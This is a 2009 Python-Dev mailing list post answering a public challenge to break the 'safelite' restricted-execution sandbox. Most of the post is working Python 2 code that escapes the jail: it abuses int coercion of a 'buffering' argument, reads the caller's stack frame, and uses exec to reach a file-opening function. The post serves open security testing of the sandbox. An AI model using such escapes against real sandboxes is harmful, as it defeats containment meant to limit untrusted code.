[Python-Dev] Challenge: Please break this! [Now with blog post]
Andrew Dalke
dalke at dalkescientific.com
Tue Feb 24 12:51:29 CET 2009
Another hole. Not as devious as some, but easy to fix with yet another
type check.
This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.
In this case, I used the hole to reimplement 'open' in its entirety.
import safelite
class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None
def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available, but I
# could do it the old-fashioned way and raise/
# catch and exception)
frame = safelite.get_frame(1)
# Look at that nice function right there.
open_file = frame.f_locals["open_file"]
# Get around restricted mode
locals_d = {}
exec """
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
del frame
# Call the function
self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)
# Jump outta here
raise TypeError
def open(filename, mode="r", buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader("whatever", "r", get_access)
except TypeError:
return get_access.f
f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()
print "Message is:", repr(open("busted.txt").read())
Andrew Dalke
dalke at dalkescientific.com
More information about the Python-Dev
mailing list